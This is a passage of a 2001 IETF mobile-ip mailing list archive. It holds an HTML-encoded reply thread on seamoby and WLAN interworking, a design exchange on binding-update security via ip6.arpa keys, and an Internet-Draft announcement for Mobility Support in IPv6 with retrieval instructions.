face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"></SPAN></FONT></SPAN>&nbsp;</P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">I am=20
  hoping to get a general feedback. =
Thanks.<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt">-Sharif.<o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><SPAN class=3DEmailStyle19><FONT color=3Dnavy =
face=3DArial=20
  size=3D2><SPAN=20
  style=3D"FONT-FAMILY: Arial; FONT-SIZE: 10pt; mso-bidi-font-size: =
12.0pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></SPAN></FONT></SPAN></P>
  <P class=3DMsoNormal><FONT color=3Dblack face=3DTahoma size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-FAMILY: Tahoma; FONT-SIZE: =
10pt">-----Original=20
  Message-----<BR><B><SPAN style=3D"FONT-WEIGHT: bold">From:</SPAN></B> =
Pat R.=20
  Calhoun [mailto:pcalhoun@bstormnetworks.com]<BR><B><SPAN=20
  style=3D"FONT-WEIGHT: bold">Sent:</SPAN></B> Monday, November 26, 2001 =
11:46=20
  AM<BR><B><SPAN style=3D"FONT-WEIGHT: bold">To:</SPAN></B> 'Shahrier, =
Sharif M.';=20
  'Gary Kenward'<BR><B><SPAN style=3D"FONT-WEIGHT: bold">Cc:</SPAN></B>=20
  'kempf@docomolabs-usa.com'<BR><B><SPAN=20
  style=3D"FONT-WEIGHT: bold">Subject:</SPAN></B> RE: [seamoby]=20
  draft-ietf-seamoby-ct-reqs-02.txt<BR><B><SPAN=20
  style=3D"FONT-WEIGHT: bold">Sensitivity:</SPAN></B>=20
  Confidential</SPAN></FONT></P>
  <P class=3DMsoNormal><FONT face=3D"Times New Roman" size=3D3><SPAN=20
  style=3D"FONT-SIZE: 12pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></SPAN></FONT></P>
  <P class=3DSection1><FONT color=3Dblack face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">&nbsp;</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> <BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">-----BEGIN PGP =
SIGNED=20
  MESSAGE-----</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black">=20
  <BR></SPAN></FONT><FONT color=3Dblack size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Hash: SHA1</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> </SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DSection1><FONT color=3Dblack face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Right so if MIP is sufficient, =
no BOF is=20
  required.</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black">=20
  <BR></SPAN></FONT><FONT color=3Dblack size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">&nbsp;</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> <BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: =
10pt">PatC</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> <BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">- -----Original =

  Message-----</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black">=20
  <BR></SPAN></FONT><FONT color=3Dblack size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">From: Shahrier, Sharif M. [<A=20
  =
href=3D"mailto:Sharif.Shahrier@InterDigital.com">mailto:Sharif.Shahrier@I=
nterDigital.com</A>]=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Sent: Monday, November 26, =
2001 8:38=20
  AM</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: black">=20
  <BR></SPAN></FONT><FONT color=3Dblack size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">To: Pat R. Calhoun; Shahrier, =
Sharif M.;=20
  'Gary Kenward'</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black">=20
  <BR></SPAN></FONT><FONT color=3Dblack size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Cc:=20
  'kempf@docomolabs-usa.com'</SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"> <BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Subject: RE: [seamoby]=20
  draft-ietf-seamoby-ct-reqs-02.txt</SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black"> <BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Sensitivity:=20
  Confidential</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black">=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DMsoNormal><FONT color=3Dblack face=3D"Times New Roman" =
size=3D3><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 12pt"><![if =
!supportEmptyParas]>&nbsp;<![endif]></SPAN></FONT><FONT=20
  color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DSection1><FONT color=3Dblack face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Well, an&nbsp; interworking =
solution=20
  need not necessarily be&nbsp; a radio</SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black"> <BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">access network (RAN)&nbsp; =
based=20
  solution. In fact, I have been</SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"> <BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">researching into what =
companies are=20
  doing to interwork different </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">types of networks, including =
802.11.=20
  Most of them seem to be using</SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"> <BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Mobile IP (RFC2002), with some =

  extensions of their own.</SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"> <BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">As for IEEE, they just do L1 =
and L2, and=20
  nothing else.</SPAN></FONT><FONT color=3Dblack><SPAN style=3D"COLOR: =
black">=20
  <BR></SPAN></FONT><FONT color=3Dblack size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">- -Sharif.</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> </SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P>
  <P class=3DSection1><FONT color=3Dblack face=3D"Times New Roman" =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">The IESG would have zero =
interest on=20
  developing an air interface </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">specific solution, and IEEE =
shouldn't=20
  get involved in L3 and above. </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">&nbsp; </SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">See the problem =
:(=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">&nbsp; </SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">PatC =
</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">- - =
-----Original=20
  Message----- </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">From: Shahrier, Sharif M. [<A=20
  =
href=3D"mailto:Sharif.Shahrier@InterDigital.com">mailto:Sharif.Shahrier@I=
nterDigital.com</A>]=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Sent: Monday, November 26, =
2001 8:19 AM=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">To: Pat R. Calhoun; Shahrier, =
Sharif M.;=20
  'Gary Kenward' </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Cc: 'kempf@docomolabs-usa.com' =

  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Subject: RE: [seamoby]=20
  draft-ietf-seamoby-ct-reqs-02.txt </SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Sensitivity: Confidential=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">&nbsp;</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> <BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">As far as I =
know, the MWIF=20
  are currently looking into interconnecting</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> <BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">solutions for =
WLANs. Also,=20
  SA1 in 3GPP have a WI on interconnecting </SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">UMTS and WLANs, so it may be=20
  interconnecting 802.11's are a sub-set </SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">of that. What are the chances =
of=20
  requesting the IESG about forming an</SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black"> <BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">ad-hoc at the next IETF =
meeting, and=20
  getting a favorable response</SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"> <BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">......? </SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">&nbsp; =
</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">- - -Sharif.=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">&nbsp; </SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">- - =
-----Original=20
  Message----- </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">From: Pat R. Calhoun [<A=20
  =
href=3D"mailto:pcalhoun@bstormnetworks.com">mailto:pcalhoun@bstormnetwork=
s.com</A>]=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Sent: Monday, November 26, =
2001 11:07 AM=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">To: 'Shahrier, Sharif M.'; =
'Gary=20
  Kenward' </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Cc: 'kempf@docomolabs-usa.com' =

  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Subject: RE: [seamoby]=20
  draft-ietf-seamoby-ct-reqs-02.txt </SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Sensitivity: Confidential=20
  </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">&nbsp; </SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">- - -----BEGIN =
PGP SIGNED=20
  MESSAGE----- </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">Hash: SHA1 </SPAN></FONT><FONT =

  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">yes, I have =
particular=20
  interest in this area, but I am also not sure </SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">that the =
standards body is=20
  the right place for this work. </SPAN></FONT><FONT color=3Dblack><SPAN =

  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dblack =
size=3D2><SPAN=20
  style=3D"COLOR: black; FONT-SIZE: 10pt">&nbsp; </SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">PatC =
</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"><BR></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: 10pt">- - - =
-----Original=20
  Message----- </SPAN></FONT><FONT color=3Dblack><SPAN=20
  style=3D"COLOR: black"><BR></SPAN></FONT><FONT color=3Dnavy =
size=3D2><SPAN=20
  style=3D"COLOR: navy; FONT-SIZE: 10pt"><SPAN=20
  style=3D"mso-spacerun: yes">&nbsp;</SPAN></SPAN></FONT><FONT =
color=3Dblack=20
  size=3D2><SPAN style=3D"COLOR: black; FONT-SIZE: =
10pt">-</SPAN></FONT><FONT=20
  color=3Dblack><SPAN style=3D"COLOR: black"> </SPAN></FONT><FONT =
color=3Dblack><SPAN=20
  style=3D"COLOR: black; mso-color-alt: =
windowtext"><o:p></o:p></SPAN></FONT></P></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_1AB0_01C1768F.40524960--



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 19:05:37 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA09819
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 18:03:25 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA21334;
	Mon, 26 Nov 2001 15:02:02 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA25912;
	Mon, 26 Nov 2001 15:00:25 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQMx61V000405
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 14:59:06 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAQMx6hX000404
	for mobile-ip-dist; Mon, 26 Nov 2001 14:59:06 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAQMwx1V000391
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 14:59:00 -0800 (PST)
Received: from lillen (lillen [129.157.212.23])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fAQ8CGq04288;
	Mon, 26 Nov 2001 09:12:16 +0100 (MET)
Date: Mon, 26 Nov 2001 08:14:26 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on    draft-arkko-mipv6-bu-security-00.txt
To: Jari Arkko <Jari.Arkko@lmf.ericsson.se>
Cc: Erik Nordmark <Erik.Nordmark@eng.sun.com>, Michael Thomas <mat@cisco.com>,
        mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <3BFE33A2.C74C4838@lmf.ericsson.se>
Message-ID: <Roam.SIMC.2.0.6.1006758866.14900.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> > ... DNSsec ...
> 
> I'm not very convinced that calling the PKI 'DNSsec' will solve
> the problem. As you mention about the RFC 3041 problems
> for instance, and bringing in secure dynamic DNS on top of
> everything else...

I don't think I claimed that.

The point was about tying the PKI to the ip6.arpa tree so that 
the delegation of IP addresses (and renumbering) is taken care of.
Thus unlike a X.509 cert which contains an IP address, storing the
public key or cert under a.b.c.d.0.1.2.3.4.5.6.7.8.9.2.3.ip6.arpa
means that when 3298/16 gets allocated to somebody else then 8.9.2.3.ip6.arpa
will be delegated to that other entity. (Note that I'm not avocating that this
is a good idea - just that it would provide some higher trust in the identity
of the sender of a BU.)

Using DNSsec as a "normal" PKI by putting keys under foo.example.com
doesn't change anything. 

    Erik



From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 19:17:49 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA15254
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 19:17:49 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA25695;
	Mon, 26 Nov 2001 16:16:37 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA23077;
	Mon, 26 Nov 2001 16:14:41 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR0D11V004652
	for <mobile-ip-dist@sunroof.eng.sun.com>; Mon, 26 Nov 2001 16:13:01 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fAR0D12Y004651
	for mobile-ip-dist; Mon, 26 Nov 2001 16:13:01 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fAR0Cn1Z004626
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 16:12:51 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA19743
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 03:13:43 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA20509
	for <mobile-ip@sunroof.eng.sun.com>; Mon, 26 Nov 2001 04:14:05 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA18908;
	Mon, 26 Nov 2001 06:13:36 -0500 (EST)
Message-Id: <200111261113.GAA18908@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-ietf-mobileip-ipv6-15.txt
Date: Mon, 26 Nov 2001 06:13:36 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Routing for Wireless/Mobile Hosts Working Group of the IETF.

	Title		: Mobility Support in IPv6
	Author(s)	: D. Johnson, C. Perkins
	Filename	: draft-ietf-mobileip-ipv6-15.txt
	Pages		: 120
	Date		: 21-Nov-01
	
This document specifies the operation of mobile computers using IPv6.
Each mobile node is always identified by its home address, regardless
of its current point of attachment to the Internet.  While situated
away from its home, a mobile node is also associated with a care-of
address, which provides information about the mobile node's current
location.  IPv6 packets addressed to a mobile node's home address are
transparently routed to its care-of address.  The protocol enables
IPv6 nodes to cache the binding of a mobile node's home address with
its care-of address, and to then send any packets destined for the
mobile node directly to it at this care-of address.  To support this
operation, Mobile IPv6 defines four new IPv6 destination options,
including one that MUST be supported in packets received by any node,
whether mobile or stationary.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mobileip-ipv6-15.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mobileip-ipv6-15.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mobileip-ipv6-15.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011121140905.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mobileip-ipv6-15.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mobileip-ipv6-15.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011121140905.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Mon Nov 26 19:17:57 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA15270
	for <mobileip-archive@odin.ietf.org>; Mon, 26 Nov 2001 19:17:57 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA25759;
